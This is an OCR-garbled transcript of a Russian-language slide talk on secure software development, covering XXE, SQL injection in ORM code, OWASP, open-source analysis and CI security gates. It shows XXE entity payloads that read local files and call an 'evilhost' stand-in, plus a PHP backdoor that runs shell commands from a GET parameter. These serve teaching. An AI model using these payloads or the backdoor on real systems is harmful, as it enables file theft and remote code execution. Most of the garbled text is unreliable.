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be3sonacHana pa3paboTKa

3ayem OHa BoObOLWE HY*KHA?



HacKonbKoO BCe cepbe3Ho
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B BbICOKUI pUCK CpeaHuii  E Hu3KUI

OTtyet "CraTtuctnKa ysassmmocten Beb-npunoxkeHun B 2018 roay”




UTaK, BCe O4YeHb cepbe3Ho

OTKyaa 6epyTca ya3BMMOCTMU
nl%
«Balle NPUIOKEHUE rMa3amu
No/1b30BaTeNA U 3/IOYMbILLUNEHHUKA»



XML 3p0poBOro yesnoBeka

<name>Mapua</name>

"Cnacmbo, Mapwus, 3aAaBKa NpuHATa"



BapuaHT peanunsauyum

String xml = httpRequest.get("xml");
Document doc = new DocumentBuilder().parse(xml);

return doc.byTagName("name")[0].getText ();

<name>Mapua</name> - "Mapuna"



XML 3noymbilineHHUKa

<IDOCTYPE name

|
<IELEMENT name ANY>

<IENTITY xxe SYSTEM "file:./app.log">
1>

<name>&xxe;</name>

A yTO BEpPHET Haw Kopa ana atoro XML?



BHewHHue cywHoctu XML

2019-06-13 15:19:21,022 - [INFO] - from play in
pool-4-thread-1 Listening for HTTP on
/0:0:0:0:0:0:0:0:9000

2019-06-13 15:20:57,665 - [INFO] - from play in
play-internal-execution-context-1 database
[default] connected at
jdbc:sqglite:./resources/db/base.sqlite

2019-06-13 15:20:57,735 - [INFO] - from play in
play-internal-execution-context-1 Application
started (Dev)

A YTO elle MOXKHO caenatb?



MoO>XXHO elle TaK:

<IENTITY xxe SYSTEM "http://16.6.0.1:22">

Nnu TakK:

<IENTITY xxe SYSTEM "file:./data/users.xml">
<VENTITY evilHost SYSTEM "http://evilhost:80">

Kopouye, BapnaHTOB MHOTO...



Yto penatb (B 3TOM Chyuae)

" [lpoBepPUTb UCNOb3yEMYIO OUDBANOTEKY:

= Java applications using XML libraries are particularly
vulnerable to XXE because the default settings for most
Java XML parsers is to have XXE enabled. To use these

parsers safely, you have to explicitly disable XXE in the
parser you use

= NET: XmIDocument, XmlITextReader n XPathNavigator
no 4.5.2

= OTKAKYNTb NOAAEPKKY BHELWHMX cywHocTen XML m
DTD

XML external entity prevention — OWASP cheat sheet series
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YTo panblie

NTaK, YA3BUMOCTU HAUAEHbI U
NPOAEMOHCTPUPOBAHDI
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Knaccuyeckue ctragmn

" OTpuuaHue («aa He MOXKeT TYT ObITb HUKAKNX
YA3BMMOCTEMN...»)

" [HeB («ga a B pa3paboTke 100500 neT, 4TO Bbl MHe TyT
pacckasbiBaeTe???!l1y)

" Topr («HY M 4YTO TaKoro, Hy Aa, yA3BUMOCTU €CTb, HO OHU
Xe...»)

* Jlenpeccus («3TO X CKOMbKO Tenepb nepeaenbiBaTb-
TO...»)

" [TpuHATMe («Aa, TYT HaA0 YTO-TO CPOYHO MEHATbLY)

OK, npaBante 4yTo-TO AenaTb
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Mpobnemy Hapo pelwatb

Kak byaem 3Tto aenatb?
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OWASP Top 10

[TycTb pa3paboTYNKKM YNTAIOT
OWASP Top 10
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KnaccupukKatop Tmnos yaA3BMMOCTEMN :

" Yyut "yto byneT, ecnn’, a He "aenan BOT TaK'

" MoneseH ana Security Champion

Pa3paboTumnKy HyXHa:

" NHbopMmaumAa O KOHKPETHbLIX YA3BUMOCTSAX...
" .. CYLLECTBYIOLLUX B Er0 NPUIOKEHUMN...

= ... CYYEeTOM ero crneundbmnKm

[Mo KpanHen mepe, Ha NepBbix Nopax
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"Urpa no npaBuaam”

[laBante npuaymaem ctaHOapThbl,
npaBuna, perniameHTbl U bygem nm
c/1e0BaTb

[a, Takoe bbiBaEeT, HO...
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PeanbHble npumepbl NnpaBun:

= All loops must have a fixed upper-bound
*= Do not use dynamic memory allocation after

initialization

Ho ecTb HIOAQHCDI:

= KpanHe y3Kaa 0b6n1acTb NPUMEHEHUS

" BbiaK pa3paboTaHbl ANA YPOLLEHNA aHaNM3a, a He
ANA COKPALLEHNA Ynucna yasBMMOCTEMN

NASA’s 10 rules for developing safety-critical code
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Open Source

OH 6e30naceH. TouKa.
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C TOYHOCTbIO A0 HAa0bOopOoT:

= =300 Open Source KOMMNOHEHTOB B MPUIOXKEHUM
(nntoc paKkToOp TPAH3UTUBHOCTH)

= OpenSource ecTtb B 96% NpuUNOKeHN
= JT0 60% OT BCero Koaa NpuaoXeHua
= CpedHunin BO3pacCT yA3BMMOCTU > 6 1eT (M OH pacTeT)

= MakcumanbHbin Bo3pacTt? (Cnonnep: CVE-2000-
0388)

2019 Open Source Security and Risk Analysis
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[lpaBuabHble BONPOCHI:

= K10 xo4eT aHanmnsmposatb OpenSource?
= KTO 13 XKenarwmx YyMeeT U YTO UMUN ABUXKET?

= Kak 4yacto byoet npoBOAUTLCA aHaNN3?

HUKTO 3a HAaC 3TO He caenaer:

= HyxeH SCA-aHanM3 roToBOro NpuUNoXKeHuA

" PeTpPOCNEeKTUBHbLIM aHaNM3 CYLLECTBYHOLLUX BEPCUIA
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"Kapro-kynbtbl"

Cnenoe KonupoBaHMe "Nyywnx NPakTMK" u HeT
npeacTaB/ieHnA O CyTU YA3BUMOCTU
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U Torpa noasnaoTca 'wepespbl’”

String name = request.getParameter("name");

Session s = HibernateUtil.getSessionFactory().openSession();
s.beginTransaction();

String g = "from UserskEntity where uname = '"" + name + "'";
List res = s.createQuery(q).list();
s.getTransaction().commit();

"ORM 3awmuwaet ot SQLi"
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LUnHMYHbIM ORM-TPONNUHT

List<Account> accountlList =
accountDao.query(
accountDao.queryBuilder () .where()
.eq(Account.PWD FIELD NAME, "P@sswOrd")

.prepare());

Bbirnaaut kak ORM-o06epTKa Hag YeCcTHbIM
PreparedStatement, He TaK an?
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Hapo 6bino BOT TaK:

QueryBuilder<Acc, String> queryBuilder = accountDao.queryBuilder();

Where<Acc, String> where = queryBuilder.where();

SelectArg selectArg = new SelectArg();
where.eq(Acc.PWD_FIELD_NAME, selectArg);
PreparedQuery<Acc> preparedQuery = queryBuilder.prepare();
selectArg.setValue("P@ssword");

List<Account> accounts = accountDao.query(preparedQuery);

[laxKe BU3ya/IbHO KOPPEKTHbIN KOA, NpMxoanTca AeTanbHO

dHA/IN3NPOBATb
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Monpobyem pyyHOU aHanU3 Koaa?

// Secured access for emergency needs
if($_GET[ 'secret'] == 'secretaccesskey')
if($_SESSION[ 'login'] == "admin');
system($ _GET[ 'command']);

"MpocTo onevyaTka"
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Koa moxeTt b6biTb U TaKuUMm:

OICO+ID [+ =000 D [+ 1+ 01+ [+ 01T+ CE LT+ LD [+ 0]+ 1+ [0+ CHLLT40D) 2
(+[1]+CHTT+ DD O+ 0T+ 400+ 1+ D] LT+ OD [+ 1+ 000D DCOI0CE LI+ DD [+ 0D 0+ CLEOD )
OUOD++0+ 0001+ C O+ ID 00+ 0]+ UL+ ID [+01 ]+ CHLTI+ LD [E+[] 41+
(J+1+[]]+ I+ (D [+ 10100+ 0D O+ 0]+ 1+ [0+ (] ]+ CHEQT+ 0D 0CH LD+ 00D [0 D+ (T
O1+00OD 0+ 0011+ C O+ D U001+ C I ID [+ ]+ [+
(1+1+[1+ 1+ (11T LD [+ 1+ 001D [+ 1401+ [+ 011 D OO LT+ D) [+ 1+ (D04 CE L+ [D)
CH+[]+ 1+ ]+ 1+ 11+ LI+ D [+ 010+ CH IO D) [+ 1+ LT+ COI 000D+ DD [+ DT 1+ (OO0 LD+
(D000 D [+ 01+ [+ 10 )+ CH LD+ DD [+ [+ 1+ D10+ (U LD+ DD [+ 0D ] 4 (1
[1+[D[+[1+1+ 1+ 1+ [ 1]+ (U I+ LD [+ 140111+ [ D [+ (114 [ ]+ 1+ [T D+ (LD LD [+

Lrm S ar s A A rn - s

3+ 0D LD O RO O D1 C D vl

7

JSFuck.com
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NMatocol:

" BpiassieHne normyeckux...

" ... N APXUTEKTYPHbLIX HEAOCTATKOB

MuUHyCbI:

= KaK oueHUTb 3pHeKTUBHOCTL paboTbl?
= MHOXeCTBO OrOBOPOK O C/IOHKHOCTMU

u |_|03TON\y rneHTecTtbl — He NaHaueAd

Hy»KHa aBTOMaTmM3auua pyTMHHOM pPaboTbl
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[lporpamma-aHanunsaTtop:

= OnpeaeneHne NOTEHLUMANBHbIX YA3BUMOCTEN
= YcnoBumA sKcnayaTaumm

" YenoBeKOUYMTAEMOCTb pe3y/ibTaTa
Yenosek:

" BepuduKauua pesynbratos

= Knaccndpukauma noTeHUMaIbHbIX ONAaCHOCTEN

=" [NloaTBep*aeHne BbINOJHUMOCTHM YC0BUI

Cuna B eaAnHEHUN
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Y10 aHanusupyem

ToNbKO N1 NCXOOHUKN?
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KoOMNOHEeHTbl NPUNOXKeHUA"

= cxogHble TeKcTbl (SAST)
= CtopoHHMe bmnbnmnotekun (SCA)
= KoHpUrypaumoHHbie pannbl

= PasBepHyTOe npunoxeHue (DAST n IAST)

"XoTtenkun':

" [TOHATHOCTb M NpPOBEPAEMOCTb

= PekomeHAauMn NO YCTPAHEHUIO
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Llenb.v.1.0.0.RC1

[laBante caenaem NPUNOKEHUE
6e3onacHbim
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HeMHOro SasKOHOMUKM:

= [ledekToB

BHECEHD

w NedexTos

BRdRBNEHO

— CTOMMOCTh

YCTpaHeHMa

IIEﬂ.anuBaHHE KOHMT ©yHKUMOHanbHble CucTeMHblie [locne
TECTb! TECTb! TeCTbl penv3a

Hy»eH yxoa, oT pa3oBbIX OLEHOK B CTOPOHY 6e3onacHom

pa3paboTKM C NnepmoanYeckMm aHaam3om Koaa
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Llenb.v.1.0.0

[laBanTe cpa3sy pa3pabarbiBaTth
npunoxxeHme 6e3onacHbim

Mepuoanyecknin aHanms 3alWMLLEHHOCTU KaK OAUH U3

waros B Cl
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Bce Ka3an0Cb TaKMM NPOCTbIM

@

cxogHUKK AHanunsarop KOMMOHEHTHI

PeaynbraThbl

B ntobon nHTEerpaumm ectb CBOM NoABOAHbIE KAMHMU
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PaspaboTtKa:
= CylwiecTsytolme npoueccol
= BblbOp MHCTPYMEHTA M NOAX0AA

AHanus OpenSource:

= Ha Kakom aTane?

" lcnonb3oBaHMe BCTPOEHHbIX GYHKUMM Artifactory

TecTupoBaHume:
= ABTOTECTbl - DAST

Kyana sctpamBaemcs B CI?
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Welcome to real world

ApTudpaktopu [Tpokcu NHTepHeT
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Hapo 6bl ¢ HUM noAapyXUTbCA...
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U Torpa Bce CHOBa ynpoLlliaeTtcs

\KOMHOHGHTI:I

Pesynerarthl cxoaHMKu
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Yero-to He xBaTtaer

Ba)XHO He NoTepATb TOT CaMbiU
continuous

OTyeThl, rpadukn, gawbdbopabl — BCE OYEHb KPacuBO,

HO KTO U KOrga ux Ymtaet?
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Hy»XeH 6uHapHbIN oTBET

AHanusaTtop

Security Gate — npuHaTMne peweHusa B pamkax Cl-

KOHBeKnepa o (He)cooTBETCTBUN Koda TpeboBaHUAM
3alLULLEHHOCTH
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MacwTtabbl:

= COTHU NPUNOXKEHUIM N KOMaHA, Pa3paboTKu

TexXHnyecKkme TOHKOCTM:

= [eTeporeHHasa cpepa

YTto TpeboBanochb:

= PacnpeneneHHOCTb N MaclTabupyemocTb
= Security Gate

= RBAC K pe3ynbratam
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Y10 Y Hac nonyymnocb

Pesynbratbl -9 .

al

b

Penoantapun Pa3paboTtumk bartpekep
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TPeHUHru:

" CneumnduKa yassmmocten (mobunku, seb, b/1 etc.)

CTF cpeau pa3paboTumnKos:

=" [MownckK 6aros B yA3BMMOM npuaoxeHuun (DVWA,
WebGoat etc.)

Security Champion:

" EBAaHre/sn3sm
= [lcmnxonorus

= MOTUBUPOBAHHOCTb

OWASP SAMM, BSIMM etc.
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CcbinIKu Ha maTtepuanbl (1/2)

1. Otyet "CraTncTMKa yazsumocten Beb-npunoxenni 8 2018 roay"
(https://www.ptsecurity.com/ru-ru/research/analytics/web-
application-vulnerabilities-statistics-2019/)

2. NASA’s 10 rules for developing safety-critical code
(https://sdtimes.com/nasas-10-rules-developing-safety-critical-

code/)

3. 2019 Open Source Security and Risk Analysis
(https://www.synopsys.com/content/dam/synopsys/sig-
assets/reports/rep-ossra-19.pdf)
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https://www.ptsecurity.com/ru-ru/research/analytics/web-application-vulnerabilities-statistics-2019/
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CcbinIKu Ha maTtepuanbl (2/2)

1.

XML external entity prevention — OWASP cheat sheet series
(https://cheatsheetseries.owasp.org/cheatsheets/XML External E
ntity Prevention Cheat Sheet.html)

JSFuck - Write any JavaScript with 6 Characters: [|()!+
(https://jsfuck.com)

Applied Software Measurement (Capers Jones, 1996)

Software Engineering Economics (Barry W. Boehm, 1983)
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Obcyaum?

Q&A
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